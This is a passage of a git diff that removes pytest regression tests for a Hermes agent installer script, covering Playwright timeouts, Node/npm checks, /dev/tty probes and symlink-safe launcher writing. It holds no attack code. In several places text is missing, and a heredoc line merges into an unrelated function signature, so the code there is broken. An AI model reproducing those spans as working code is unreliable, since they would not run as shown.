"not-a-checkout" - install_dir.mkdir() - - result = run_write_marker(install_dir) - - assert result.returncode == 0, "an unresolvable HEAD must not fail the install" - assert not (install_dir / ".hermes-bootstrap-complete").exists() - - -def test_missing_install_dir_is_not_fatal(tmp_path): - result = run_write_marker(tmp_path / "does-not-exist") - - assert result.returncode == 0 diff --git a/tests/test_install_sh_browser_install.py b/tests/test_install_sh_browser_install.py deleted file mode 100644 index a080bcdde2..0000000000 --- a/tests/test_install_sh_browser_install.py +++ /dev/null @@ -1,249 +0,0 @@ -"""Regression tests for install.sh browser setup. - -Browser automation is optional. The installer should not leave Hermes -half-installed just because Playwright's managed Chromium download hangs on an -unsupported distribution. -""" - -from pathlib import Path - - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" - - - - -def test_install_script_honors_explicit_browser_override_only() -> None: - """find_system_browser consults only an explicit AGENT_BROWSER_EXECUTABLE_PATH.""" - text = INSTALL_SH.read_text() - - assert 'override="${AGENT_BROWSER_EXECUTABLE_PATH:-}"' in text - # An explicit override still skips the bundled download (override, not fallback). - assert "Skipping bundled Chromium download" in text - - - - -def test_playwright_installs_are_timeout_guarded() -> None: - text = INSTALL_SH.read_text() - - # The timeout wrapper still exists and is used internally by the install - # wrapper, so every Playwright download remains bounded. - assert "run_browser_install_with_timeout()" in text - # Playwright installs now go through run_playwright_install(), which wraps - # run_browser_install_with_timeout (timeout-guarded) and adds an - # unrecognized-platform fallback retry. - assert "run_playwright_install 600 npx playwright install chromium" in text - # --with-deps is still invoked on apt-based systems, but only when sudo - # is available non-interactively (root or passwordless sudo). Non-sudo - # service users fall back to the browser-only install — see - # install_node_deps() in install.sh. - assert "run_playwright_install 600 npx playwright install --with-deps chromium" in text - # The wrapper still bounds the download with the timeout helper. - assert 'run_browser_install_with_timeout "$timeout_seconds" "$@"' in text - - - -def test_install_script_supports_skip_browser_flag() -> None: - """--skip-browser (and --no-playwright alias) skips the Playwright install.""" - text = INSTALL_SH.read_text() - - assert "--skip-browser|--no-playwright)" in text - assert "SKIP_BROWSER=true" in text - assert 'if [ "$SKIP_BROWSER" = true ]; then' in text - assert "--skip-browser Skip Playwright/Chromium install" in text - - - - - - -def test_browser_install_timeout_stays_interruptible() -> None: - """The Playwright download must stay Ctrl+C-able and force-kill if wedged. - - GNU `timeout` runs the child in its own process group, so a terminal Ctrl+C - reaches `timeout` but never the download — it looks frozen and ignores - Ctrl+C (#35166). `--foreground` keeps it in the shell's foreground group; - `-k 10` guarantees a SIGKILL after the deadline. Both are GNU-only, so the - installer probes support once and falls back to plain `timeout`. - """ - text = INSTALL_SH.read_text() - - # GNU-flag probe + the guarded invocation must both be present. The timeout - # binary is parameterized ($timeout_bin) so macOS gtimeout works too (#39219). - assert '"$timeout_bin" --foreground -k 10 1 true' in text - assert '"$timeout_bin" --foreground -k 10 "$timeout_seconds" "$@"' in text - # Plain-timeout fallback preserved for BusyBox/non-GNU. - assert '"$timeout_bin" "$timeout_seconds" "$@"' in text - - -# --------------------------------------------------------------------------- -# Behavioral tests: source the install.sh helpers in a stubbed shell and assert -# the override retry fires ONLY on a too-new apt release (#35166), and not on a -# host Playwright already supports. -# --------------------------------------------------------------------------- - -import subprocess - - -def _run_install_fn(distro: str, version: str, *, native_fails: bool, - arch: str = "x86_64", operator_override: str = "") -> dict: - """Source the relevant functions from install.sh and drive run_playwright_install. - - Stubs `npx` (the install command) to fail/succeed, `uname -m` for arch, and - `log_warn`/`log_info` to no-ops. Returns parsed observations: how many times - the install command ran, and the override value seen on each run. - """ - # Extract the functions we need so we don't execute the whole installer. - # run_browser_install_with_timeout delegates to run_with_timeout (#39219), - # so the helper must be pulled in too or the install command never runs. - fn_names = [ - "run_browser_install_with_timeout", - "run_with_timeout", - "playwright_host_unrecognized", - "playwright_fallback_platform", - "run_playwright_install", - ] - src = INSTALL_SH.read_text() - import re - - extracted = [] - for name in fn_names: - m = re.search(rf"^{re.escape(name)}\(\) \{{.*?^\}}", src, re.MULTILINE | re.DOTALL) - assert m, f"could not extract {name}() from install.sh" - extracted.append(m.group(0)) - body = "\n\n".join(extracted) - - native_rc = 1 if native_fails else 0 - harness = f""" -set -u -DISTRO={distro!r} -DISTRO_VERSION={version!r} -export PLAYWRIGHT_HOST_PLATFORM_OVERRIDE={operator_override!r} -[ -z "$PLAYWRIGHT_HOST_PLATFORM_OVERRIDE" ] && unset PLAYWRIGHT_HOST_PLATFORM_OVERRIDE - -log_warn() {{ :; }} -log_info() {{ :; }} - -# Stub `uname -m` for arch control without touching the real binary. -uname() {{ if [ "$1" = "-m" ]; then echo {arch!r}; else command uname "$@"; fi }} - -# Stub `timeout`: just run the command, ignoring flags/duration. We only care -# about how the npx stub behaves, not real timeout semantics here. -timeout() {{ - while [ $# -gt 0 ]; do - case "$1" in -*|[0-9]*) shift ;; *) break ;; esac - done - "$@" -}} - -# Stub the install command. Record each invocation + the override in effect. -npx() {{ - echo "RUN override=${{PLAYWRIGHT_HOST_PLATFORM_OVERRIDE:-}}" >>"$RUNLOG" - # First run reflects native_fails; the override retry (if any) succeeds. - if [ -n "${{PLAYWRIGHT_HOST_PLATFORM_OVERRIDE:-}}" ]; then return 0; fi - return {native_rc} -}} - -{body} - -run_playwright_install 600 npx playwright install --with-deps chromium -echo "FINAL_RC=$?" -""" - import tempfile, os - with tempfile.NamedTemporaryFile("w", suffix=".log", delete=False) as lf: - runlog = lf.name - try: - env = dict(os.environ, RUNLOG=runlog) - proc = subprocess.run(["bash", "-c", harness], capture_output=True, - text=True, env=env) - runs = Path(runlog).read_text().strip().splitlines() - final_rc = None - for line in proc.stdout.splitlines(): - if line.startswith("FINAL_RC="): - final_rc = int(line.split("=", 1)[1]) - return {"runs": runs, "final_rc": final_rc, "stderr": proc.stderr} - finally: - Path(runlog).unlink(missing_ok=True) - - -def test_override_retry_fires_on_ubuntu_26() -> None: - """Ubuntu 26.04 (too new) → native fails → retry with ubuntu24.04 override.""" - r = _run_install_fn("ubuntu", "26.04", native_fails=True) - assert len(r["runs"]) == 2, r["runs"] - assert "override=" in r["runs"][0] - assert "override=ubuntu24.04-x64" in r["runs"][1] - assert r["final_rc"] == 0 - - - - - - -def test_override_retry_fires_on_debian_14() -> None: - """Debian 14 (> 13) is the too-new apt case → retry with override.""" - r = _run_install_fn("debian", "14", native_fails=True) - assert len(r["runs"]) == 2, r["runs"] - assert "override=ubuntu24.04-x64" in r["runs"][1] - assert r["final_rc"] == 0 - - -def test_no_retry_when_native_succeeds_on_ubuntu_26() -> None: - """Even on Ubuntu 26.04, a successful native install is never retried.""" - r = _run_install_fn("ubuntu", "26.04", native_fails=False) - assert len(r["runs"]) == 1, r["runs"] - assert "override=" in r["runs"][0] - assert r["final_rc"] == 0 - - -import re - - -def _extract_function_body(source: str, name: str) -> str: - m = re.search(rf"^{re.escape(name)}\(\) \{{.*?^\}}", source, re.MULTILINE | re.DOTALL) - assert m, f"could not extract {name}() from install.sh" - return m.group(0) - - -def test_ensure_browser_no_longer_npm_installs_agent_browser() -> None: - """agent-browser resolves lazily via npx everywhere else in the system - (tools/browser_tool.py::_find_agent_browser); this was the last place - that still eagerly npm-installed a second, separately version-pinned - copy of it. Removed: agent-browser acquisition now happens only via - `hermes update`'s npx cache warm or an actual browser-tool call's lazy - npx resolution (PR #44772 review).""" - body = _extract_function_body(INSTALL_SH.read_text(), "ensure_browser") - - assert "agent-browser@" not in body - assert "Installing Chromium via agent-browser install" not in body - # camofox is unrelated to this change and must still be installed here. - assert "@askjo/camofox-browser@^1.5.2" in body - # System-browser detection is still cheap/valuable without agent-browser. - assert "find_system_browser" in body - assert "configure_browser_env_from_system_browser" in body - - -def test_ensure_browser_still_ignore_scripts_and_timeout_guarded() -> None: - """The removal of agent-browser must not have also dropped the - supply-chain and hang-protection hardening that still applies to the - remaining camofox install.""" - body = _extract_function_body(INSTALL_SH.read_text(), "ensure_browser") - - assert "--ignore-scripts" in body - assert "run_with_timeout" in body - - -def test_ensure_browser_no_longer_references_agent_browser_binary_path() -> None: - """No dangling reference to a local agent-browser binary path should - remain now that this function never installs it — a leftover reference - would be dead code pointing at a binary that no longer gets placed - there by this function.""" - body = _extract_function_body(INSTALL_SH.read_text(), "ensure_browser") - - assert "$HERMES_HOME/node/bin/agent-browser" not in body - - - - - diff --git a/tests/test_install_sh_install_method_stamp.py b/tests/test_install_sh_install_method_stamp.py deleted file mode 100644 index b2a1b7da8c..0000000000 --- a/tests/test_install_sh_install_method_stamp.py +++ /dev/null @@ -1,40 +0,0 @@ -"""Contract test: install.sh stamps the install method next to the code tree -($INSTALL_DIR), not into the shared $HERMES_HOME. - -Background (shared-$HERMES_HOME bug) ------------------------------------- -$HERMES_HOME is a data directory users frequently bind-mount into a Docker -gateway as well (``~/.hermes:/opt/data``). The published image stamps 'docker' -there on boot, so if install.sh had written its 'git' marker into the same -$HERMES_HOME the two installs would fight over one slot — and the container, -booting last, would win and wrongly make the host install look like 'docker' -(blocking ``hermes update``). - -The fix: detect_install_method() reads a CODE-scoped stamp first, and the -installer writes ``git`` into $INSTALL_DIR (the git checkout, e.g. -``~/.hermes/hermes-agent``), which is unique to this install and immune to the -shared data dir. -""" -from __future__ import annotations - -import re -from pathlib import Path - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" - - -def test_install_sh_stamps_code_tree_not_home() -> None: - text = INSTALL_SH.read_text() - - # Stamps the code tree. - assert text.count('echo "git" > "$INSTALL_DIR/.install_method"') >= 1, ( - "install.sh must stamp $INSTALL_DIR/.install_method (code-scoped)" - ) - - # Never stamps the shared data dir. - assert not re.search(r'>\s*"\$HERMES_HOME/\.install_method"', text), ( - "install.sh must not stamp $HERMES_HOME/.install_method — that data " - "dir may be shared with a Docker gateway whose 'docker' stamp would " - "clobber it and block host-side `hermes update`" - ) diff --git a/tests/test_install_sh_node_deps_failure.py b/tests/test_install_sh_node_deps_failure.py deleted file mode 100644 index c42e0cb32c..0000000000 --- a/tests/test_install_sh_node_deps_failure.py +++ /dev/null @@ -1,145 +0,0 @@ -"""Behavioral coverage for required Node dependency installation.""" - -from __future__ import annotations - -import json -import os -import subprocess -from pathlib import Path - - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" - - -def _write_executable(path: Path, body: str) -> None: - path.write_text(body, encoding="utf-8") - path.chmod(0o755) - - -def _run_node_deps_stage( - tmp_path: Path, - *, - fail_directory: str | None, -) -> tuple[subprocess.CompletedProcess[str], Path, list[str]]: - install_dir = tmp_path / "install" - tui_dir = install_dir / "ui-tui" - bin_dir = tmp_path / "bin" - hermes_home = tmp_path / "home" - managed_bin = hermes_home / "bin" - npm_calls = tmp_path / "npm-calls" - - tui_dir.mkdir(parents=True) - bin_dir.mkdir() - managed_bin.mkdir(parents=True) - (install_dir / "package.json").write_text( - '{"name":"installer-regression-probe","private":true}\n', - encoding="utf-8", - ) - (tui_dir / "package.json").write_text( - '{"name":"tui-regression-probe","private":true}\n', - encoding="utf-8", - ) - _write_executable(bin_dir / "node", "#!/bin/sh\necho v26.0.0\n") - _write_executable( - bin_dir / "npm", - """#!/bin/sh -if [ "${1:-}" = "--version" ]; then - echo 12.0.0 - exit 0 -fi -printf '%s\\n' "$PWD" >> "$NPM_CALLS" -if [ -n "${NPM_FAIL_DIRECTORY:-}" ] && [ "$PWD" = "$NPM_FAIL_DIRECTORY" ]; then - echo "simulated npm lifecycle failure" >&2 - exit 37 -fi -exit 0 -""", - ) - _write_executable(managed_bin / "uv", "#!/bin/sh\necho 'uv probe'\n") - - env = os.environ.copy() - env.update( - { - "HERMES_HOME": str(hermes_home), - "HERMES_INSTALL_DIR": str(install_dir), - "NPM_CALLS": str(npm_calls), - "NPM_FAIL_DIRECTORY": fail_directory or "", - "PATH": f"{bin_dir}:{env['PATH']}", - } - ) - proc = subprocess.run( - [ - "bash", - str(INSTALL_SH), - "--stage", - "node-deps", - "--json", - "--skip-browser", - "--skip-computer-use", - ], - cwd=REPO_ROOT, - env=env, - capture_output=True, - text=True, - check=False, - ) - calls = npm_calls.read_text(encoding="utf-8").splitlines() - return proc, install_dir, calls - - -def _stage_result(proc: subprocess.CompletedProcess[str]) -> dict[str, object]: - return json.loads(proc.stdout.splitlines()[-1]) - - -def test_root_node_dependency_failure_is_fatal(tmp_path: Path) -> None: - install_dir = tmp_path / "install" - proc, actual_install_dir, calls = _run_node_deps_stage( - tmp_path, - fail_directory=str(install_dir), - ) - - assert actual_install_dir == install_dir - assert proc.returncode != 0 - assert _stage_result(proc) == { - "ok": False, - "stage": "node-deps", - "skipped": False, - "reason": "exit code 1", - } - assert calls == [str(install_dir)] - assert "Node.js dependencies installed" not in proc.stdout - assert "TUI dependencies installed" not in proc.stdout - assert not (install_dir / "node_modules").exists() - - -def test_tui_node_dependency_failure_is_fatal(tmp_path: Path) -> None: - install_dir = tmp_path / "install" - tui_dir = install_dir / "ui-tui" - proc, _, calls = _run_node_deps_stage( - tmp_path, - fail_directory=str(tui_dir), - ) - - assert proc.returncode != 0 - assert _stage_result(proc)["ok"] is False - assert calls == [str(install_dir), str(tui_dir)] - assert "Node.js dependencies installed" in proc.stdout - assert "TUI dependencies installed" not in proc.stdout - - -def test_node_dependency_success_remains_successful(tmp_path: Path) -> None: - proc, install_dir, calls = _run_node_deps_stage( - tmp_path, - fail_directory=None, - ) - - assert proc.returncode == 0, proc.stderr - assert _stage_result(proc) == { - "ok": True, - "stage": "node-deps", - "skipped": False, - } - assert calls == [str(install_dir), str(install_dir / "ui-tui")] - assert "Node.js dependencies installed" in proc.stdout - assert "TUI dependencies installed" in proc.stdout diff --git a/tests/test_install_sh_node_global_prefix.py b/tests/test_install_sh_node_global_prefix.py deleted file mode 100644 index d4293a0d59..0000000000 --- a/tests/test_install_sh_node_global_prefix.py +++ /dev/null @@ -1,58 +0,0 @@ -"""Regression tests for the Hermes-managed Node's npm global prefix. - -When the installer falls back to a bundled Node under ``$HERMES_HOME/node``, -npm's default global prefix is that Node dir, so ``npm install -g `` -drops the package binary in ``$HERMES_HOME/node/bin`` — which is NOT on PATH -(only the command link dir is) and is wiped on every Node upgrade. Users then -report "I can ``npm i -g`` but the package isn't usable on the command line". - -The fix redirects the bundled Node's global prefix to the command link dir's -parent (so global bins land in the already-on-PATH link dir alongside -node/npm/npx), scoped to the bundled Node via its prefix-local global npmrc. -""" - -from pathlib import Path - - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" -NODE_BOOTSTRAP = REPO_ROOT / "scripts" / "lib" / "node-bootstrap.sh" - - -def test_install_sh_redirects_bundled_npm_global_prefix_to_link_dir() -> None: - text = INSTALL_SH.read_text() - - # The redirect must target the link dir's PARENT so global bins resolve to - # /bin == the command link dir (node/npm/npx live there and it is - # guaranteed on PATH by the installer's PATH setup). - assert "configure_managed_node_npm_prefix()" in text - assert 'printf \'prefix=%s\\n\' "$(dirname "$link_dir")" > "$HERMES_HOME/node/etc/npmrc"' in text - - -def test_install_sh_repairs_existing_managed_node_on_rerun() -> None: - """The redirect must run on every install (not just fresh Node installs), - so re-running the installer repairs pre-existing managed installs whose - Node is already up to date and would otherwise skip install_node.""" - text = INSTALL_SH.read_text() - - check_node_body = text.split("check_node()", 1)[1].split("\ninstall_node()", 1)[0] - assert "configure_managed_node_npm_prefix" in check_node_body - - # No-op guard so it's safe to call when there is no managed Node. - assert '[ -x "$HERMES_HOME/node/bin/npm" ] || return 0' in text - - -def test_node_bootstrap_redirects_bundled_npm_global_prefix_to_link_dir() -> None: - text = NODE_BOOTSTRAP.read_text() - - assert "_nb_configure_npm_prefix()" in text - assert 'printf \'prefix=%s\\n\' "$(dirname "$_link_dir")" > "$HERMES_HOME/node/etc/npmrc"' in text - - # Runs at the top of ensure_node so existing managed installs are repaired - # even when a modern Node is already present (early return path). - ensure_node_body = text.split("ensure_node()", 1)[1] - assert "_nb_configure_npm_prefix" in ensure_node_body - assert '[ -x "$HERMES_HOME/node/bin/npm" ] || return 0' in text - assert "heal_managed_node()" in text - assert "_nb_managed_tool_broken" in text - assert "for tool in node npm npx" in text diff --git a/tests/test_install_sh_node_npm_check.py b/tests/test_install_sh_node_npm_check.py deleted file mode 100644 index 6fa33e9bae..0000000000 --- a/tests/test_install_sh_node_npm_check.py +++ /dev/null @@ -1,42 +0,0 @@ -"""Regression tests for install.sh Node/npm checks (#77003). - -A stray `node` symlink without a sibling `npm` (leftover from a node -version manager) made the installer report "✓ Node.js found" and then fail -opaquely at the desktop stage. Node must only count as found when npm -resolves on the same PATH, and npm install stages must not report success -when the install actually failed. -""" - -from pathlib import Path - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" - - -def test_check_node_requires_npm_alongside_node() -> None: - """check_node must not report success when only `node` resolves. - - Before the fix, `command -v node` succeeding was enough — a stray node - symlink (no sibling npm) passed the check, every later `npm install` - failed silently, and the desktop build died with an opaque - "Node.js / npm unavailable" (#77003). - """ - text = INSTALL_SH.read_text() - - # The system-toolchain branch now gates on BOTH node and npm. - assert ( - "if command -v node &> /dev/null && command -v npm &> /dev/null \\" in text - ) - # The "node found but npm missing" case has its own explicit branch that - # falls through to installing the Hermes-managed Node (which bundles npm). - assert "node found but npm is not on PATH (stray node symlink?)" in text - - -def test_check_node_managed_requires_npm() -> None: - """The Hermes-managed Node fallback also requires its npm to exist.""" - text = INSTALL_SH.read_text() - assert ( - '[ -x "$HERMES_HOME/node/bin/node" ] && [ -x "$HERMES_HOME/node/bin/npm" ] \\' - in text - ) - diff --git a/tests/test_install_sh_pythonpath_sanitization.py b/tests/test_install_sh_pythonpath_sanitization.py deleted file mode 100644 index 0fd4c14d92..0000000000 --- a/tests/test_install_sh_pythonpath_sanitization.py +++ /dev/null @@ -1,30 +0,0 @@ -"""Regression tests for install.sh Python environment sanitization. - -When install.sh is launched from another Python-driven tool session, inherited -PYTHONPATH/PYTHONHOME can shadow the freshly installed checkout. The installer -must sanitize those vars both during installation and at runtime launch. -""" - -from pathlib import Path - - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" - - -def test_install_script_unsets_pythonpath_and_pythonhome_early() -> None: - text = INSTALL_SH.read_text() - - # During install, inherited Python env must be sanitized before pip/venv use. - assert 'unset PYTHONPATH' in text - assert 'unset PYTHONHOME' in text - - -def test_hermes_launcher_wrapper_clears_python_env_before_exec() -> None: - text = INSTALL_SH.read_text() - - # Wrapper should clear env and forward args untouched to the venv entrypoint. - assert 'cat > "$command_link_dir/hermes" < str: - """Return just the body of resolve_install_layout(), bounded by its - opening signature and the next top-level ``}`` close brace. - - Using the function body (not "first ``return 0`` after a marker") guards - the tests below against future refactors that hoist the export above - another conditional with its own early-return, or that insert an early- - return between the marker and the export — both of which would leave the - export unreachable while a less-strict assertion still passed. - """ - text = INSTALL_SH.read_text(encoding="utf-8") - head, _, rest = text.partition("resolve_install_layout() {\n") - assert rest, "Could not find resolve_install_layout() in scripts/install.sh" - body, _, _ = rest.partition("\n}\n") - assert body, "Could not find resolve_install_layout() closing brace" - return body - - -def test_root_fhs_layout_exports_world_readable_uv_python_dirs() -> None: - text = INSTALL_SH.read_text(encoding="utf-8") - - assert 'export UV_PYTHON_INSTALL_DIR="${UV_PYTHON_INSTALL_DIR:-/usr/local/share/uv/python}"' in text - assert 'export UV_PYTHON_BIN_DIR="${UV_PYTHON_BIN_DIR:-/usr/local/share/uv/bin}"' in text - - -def test_root_fhs_uv_python_export_is_inside_root_branch() -> None: - """The export must live in the root-FHS branch of resolve_install_layout, - after ``ROOT_FHS_LAYOUT=true`` and before the branch's ``return 0``, so - non-root and Termux installs are unaffected. Bound the slice by the - function body (not "next return 0" in the whole file) so the assertion - can't accept an unreachable export.""" - body = _resolve_install_layout_body() - - marker = 'ROOT_FHS_LAYOUT=true' - assert marker in body - after_marker = body.split(marker, 1)[1] - return_idx = after_marker.find('return 0') - export_idx = after_marker.find('UV_PYTHON_INSTALL_DIR') - assert export_idx != -1, "UV_PYTHON_INSTALL_DIR export missing from root-FHS branch" - assert return_idx != -1, "root-FHS branch must end with `return 0`" - assert export_idx < return_idx, ( - "Export must precede the branch's `return 0` — otherwise unreachable" - ) diff --git a/tests/test_install_sh_setup_wizard_tty_probe.py b/tests/test_install_sh_setup_wizard_tty_probe.py deleted file mode 100644 index a9f8a26e75..0000000000 --- a/tests/test_install_sh_setup_wizard_tty_probe.py +++ /dev/null @@ -1,91 +0,0 @@ -"""Regression for #16746: install.sh /dev/tty gates must actually open /dev/tty. - -In a Docker build, ``/dev/tty`` exists as a device node (so a bare ``-e`` -existence test returns true) but opening it fails with ``ENXIO: No such -device or address``. Under the old gates the script proceeded past the "no -terminal available" skip and then crashed on the ``< /dev/tty`` redirect a -few lines later, aborting the entire image build. The fix replaces every -existence-based check that guards a subsequent ``< /dev/tty`` redirect with -an open-based probe so the skip kicks in correctly. - -This module covers all three affected functions: ``run_setup_wizard()`` -(the reproducer in #16746), ``install_system_packages()`` (the apt sudo -prompt fallback), and ``maybe_start_gateway()`` (the gateway-install gate). -""" - -from __future__ import annotations - -import re -from pathlib import Path - -import pytest - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" - -# Every function in scripts/install.sh that previously gated on a bare -# ``[ -e /dev/tty ]`` check before redirecting stdin from ``/dev/tty``. -GATED_FUNCTIONS = ("run_setup_wizard", "install_system_packages", "maybe_start_gateway") - - -def _extract_function_body(name: str) -> str: - """Return the body of ``()`` as a single string. - - Anchored to ``()`` and a top-of-line ``}`` so the helper keeps - working if neighbouring functions are renamed. - """ - text = INSTALL_SH.read_text() - match = re.search( - rf"^{re.escape(name)}\(\)\s*\{{\s*\n(?P.*?)^\}}", - text, - re.MULTILINE | re.DOTALL, - ) - assert match is not None, f"{name}() not found in scripts/install.sh" - return match["body"] - - -@pytest.mark.parametrize("fn_name", GATED_FUNCTIONS) -def test_tty_gate_does_not_use_existence_only_check(fn_name: str) -> None: - """The bare ``-e`` test is the bug — no spelling of it should remain.""" - body = _extract_function_body(fn_name) - # Cover ``[ -e /dev/tty ]``, ``[ -e "/dev/tty" ]``, ``test -e /dev/tty`` - # and friends, with arbitrary surrounding whitespace. - pattern = re.compile( - r"""( - \[\s*-e\s+["']?/dev/tty["']?\s*\] - | - \btest\s+-e\s+["']?/dev/tty["']? - )""", - re.VERBOSE, - ) - match = pattern.search(body) - assert match is None, ( - f"{fn_name} contains an existence-only check on /dev/tty " - f"({match.group(0)!r}). Bare `-e` tests pass in Docker builds " - "where the device node is in the mount namespace but cannot be " - "opened (ENXIO). Use an open-based probe (e.g. " - "`(: /dev/null` or `exec 3 None: - """The gate must actually attempt to open ``/dev/tty``. - - Any ``if``/``if !``/``elif`` whose condition opens ``/dev/tty`` for - input counts: ``(: "$command_link_dir/hermes" < str: - """Return the install.sh shim-write block used by setup_path().""" - text = INSTALL_SH.read_text() - match = re.search( - r"(?Pmkdir -p \"\$command_link_dir\".*?chmod \+x \"\$command_link_dir/hermes\")", - text, - re.DOTALL, - ) - assert match is not None, ( - "Could not locate the setup_path shim-write block in scripts/install.sh" - ) - return match["block"] - - -def test_setup_path_shim_block_removes_old_link_before_writing() -> None: - """Static guard: the rm must precede the cat heredoc, not follow it.""" - block = _extract_setup_path_shim_block() - rm_idx = block.find('rm -f "$command_link_dir/hermes"') - cat_idx = block.find('cat > "$command_link_dir/hermes" <` heredoc, otherwise an existing symlink (left by older " - "installs) will be followed and the pip entry point overwritten. " - "See #21454." - ) - assert cat_idx != -1, "expected `cat >` heredoc still present" - assert rm_idx < cat_idx, ( - "`rm -f` must come *before* the `cat >` heredoc, not after." - ) - - -def test_re_running_setup_path_block_preserves_pip_entry_point(tmp_path: Path) -> None: - """Behavioral repro: simulate prior-install symlink + new-install heredoc. - - Layout mirrors a real install: - - tmp/ - venv/bin/hermes <- pip entry point (the one we must preserve) - local_bin/hermes <- symlink → ../venv/bin/hermes (old install) - - Then we run the exact shim-write block from setup_path() with - ``HERMES_BIN`` and ``command_link_dir`` pointed at this fixture. The fix - requires that, after the run: - - * ``venv/bin/hermes`` still contains its original pip-script body - * ``local_bin/hermes`` is a regular file (not a symlink) holding the shim - """ - venv_bin = tmp_path / "venv" / "bin" - venv_bin.mkdir(parents=True) - pip_entry = venv_bin / "hermes" - pip_marker = "#!/usr/bin/env python\n# pip-generated entry point — must not be overwritten\n" - pip_entry.write_text(pip_marker) - pip_entry.chmod(pip_entry.stat().st_mode | stat.S_IXUSR) - - command_link_dir = tmp_path / "local_bin" - command_link_dir.mkdir() - shim_path = command_link_dir / "hermes" - # Reproduce the prior-install state: shim path is a symlink to the - # pip-generated entry point. - shim_path.symlink_to(pip_entry) - assert shim_path.is_symlink() - - block = _extract_setup_path_shim_block() - # Drive the block with the real env vars setup_path() sets. - script = f'set -e\nHERMES_BIN={pip_entry!s}\ncommand_link_dir={command_link_dir!s}\n{block}\n' - result = subprocess.run( - ["bash", "-c", script], - capture_output=True, - text=True, - cwd=tmp_path, - ) - assert result.returncode == 0, ( - f"shim-write block failed:\nstdout={result.stdout}\nstderr={result.stderr}" - ) - - # The pip entry point must still be the original pip script — not a - # re-written self-recursing bash shim. - assert pip_entry.read_text() == pip_marker, ( - "venv/bin/hermes was overwritten by setup_path() — symlink-stomp " - "regression (#21454)." - ) - - # The shim path itself must now be a regular file holding the launcher. - assert shim_path.exists() - assert not shim_path.is_symlink(), ( - "command_link_dir/hermes must be replaced with a regular file, not " - "left as a symlink — otherwise the next install will stomp again." - ) - shim_text = shim_path.read_text() - assert "unset PYTHONPATH" in shim_text - assert "unset PYTHONHOME" in shim_text - assert f'exec "{pip_entry}"' in shim_text - shim_mode = shim_path.stat().st_mode - assert shim_mode & stat.S_IXUSR, "shim must be user-executable" diff --git a/tests/test_install_sh_termux_network_prereqs.py b/tests/test_install_sh_termux_network_prereqs.py deleted file mode 100644 index 891cf54d13..0000000000 --- a/tests/test_install_sh_termux_network_prereqs.py +++ /dev/null @@ -1,22 +0,0 @@ -"""Regression tests for Termux network prerequisite handling in install.sh.""" - -from pathlib import Path - - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" - - -def test_termux_pkg_list_includes_network_basics() -> None: - text = INSTALL_SH.read_text() - assert "local termux_pkgs=(clang rust make pkg-config libffi openssl ca-certificates curl)" in text - - -def test_install_script_has_connectivity_probe_and_termux_guidance() -> None: - text = INSTALL_SH.read_text() - assert "check_network_prerequisites()" in text - assert "https://pypi.org/simple/" in text - assert "https://duckduckgo.com/" in text - assert "termux-change-repo" in text - assert "pkg install -y ca-certificates curl && pkg update" in text - assert "check_network_prerequisites" in text diff --git a/tests/test_install_sh_uv_lock_config.py b/tests/test_install_sh_uv_lock_config.py index 59d5bba96d..dfa20a7429 100644 --- a/tests/test_install_sh_uv_lock_config.py +++ b/tests/test_install_sh_uv_lock_config.py @@ -13,8 +13,10 @@ import pytest REPO_ROOT = Path(__file__).resolve().parent.parent INSTALL_SCRIPTS = ( REPO_ROOT / "scripts" / "install.sh", - REPO_ROOT / "setup-hermes.sh", ) +# setup-hermes.sh no longer runs uv sync itself: it delegates to +# `python -m pm.cli install` (hash-verified via pm + uv.lock), so the +# locked-sync helper contract below applies to scripts/install.sh only. _HELPER_START = "run_locked_uv_sync() {\n" @@ -37,13 +39,8 @@ def _bash_path(path: Path) -> str: def test_installers_keep_bootstrap_isolation_but_restore_project_config_for_lock() -> None: install_text = INSTALL_SCRIPTS[0].read_text(encoding="utf-8") - setup_text = INSTALL_SCRIPTS[1].read_text(encoding="utf-8") assert "export UV_NO_CONFIG=1" in install_text - assert "export UV_NO_CONFIG=1" in setup_text - assert _locked_sync_helper(INSTALL_SCRIPTS[0]) == _locked_sync_helper( - INSTALL_SCRIPTS[1] - ) helper = _locked_sync_helper(INSTALL_SCRIPTS[0]) assert "unset UV_NO_CONFIG UV_CONFIG_FILE" in helper @@ -51,7 +48,6 @@ def test_installers_keep_bootstrap_isolation_but_restore_project_config_for_lock assert 'export XDG_CONFIG_DIRS="$isolated_uv_config"' in helper assert "$UV_CMD sync --extra all --locked" in helper assert 'run_locked_uv_sync "$INSTALL_DIR/venv"' in install_text - assert 'run_locked_uv_sync "$SCRIPT_DIR/venv"' in setup_text def test_locked_sync_helper_sanitizes_only_its_subprocess(tmp_path: Path) -> None: diff --git a/tests/test_install_unmerged_index.py b/tests/test_install_unmerged_index.py deleted file mode 100644 index ade18486c9..0000000000 --- a/tests/test_install_unmerged_index.py +++ /dev/null @@ -1,191 +0,0 @@ -"""Regression: installer fails when the existing checkout has an unmerged index. - -A previously interrupted update can leave ``$INSTALL_DIR`` with unmerged index -entries (files in a conflicted, "needs merge" state). In that state the update -path's ``git stash`` aborts with "could not write index" and the following -``git checkout `` aborts with "you need to resolve your current index -first" -- surfacing to GUI/bootstrap users as ``git checkout main failed -(exit 1)`` and failing the whole install at the repository stage. - -The ``hermes update`` Python path already clears the conflict with ``git reset`` -before stashing (#4735); both installer scripts must do the same. -""" - -from __future__ import annotations - -import re -import shutil -import subprocess -from pathlib import Path - -import pytest - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" -INSTALL_PS1 = REPO_ROOT / "scripts" / "install.ps1" - -pytestmark = pytest.mark.skipif( - shutil.which("git") is None or shutil.which("bash") is None, - reason="needs git and bash", -) - - -def _git(cwd: Path, *args: str, check: bool = True) -> subprocess.CompletedProcess: - 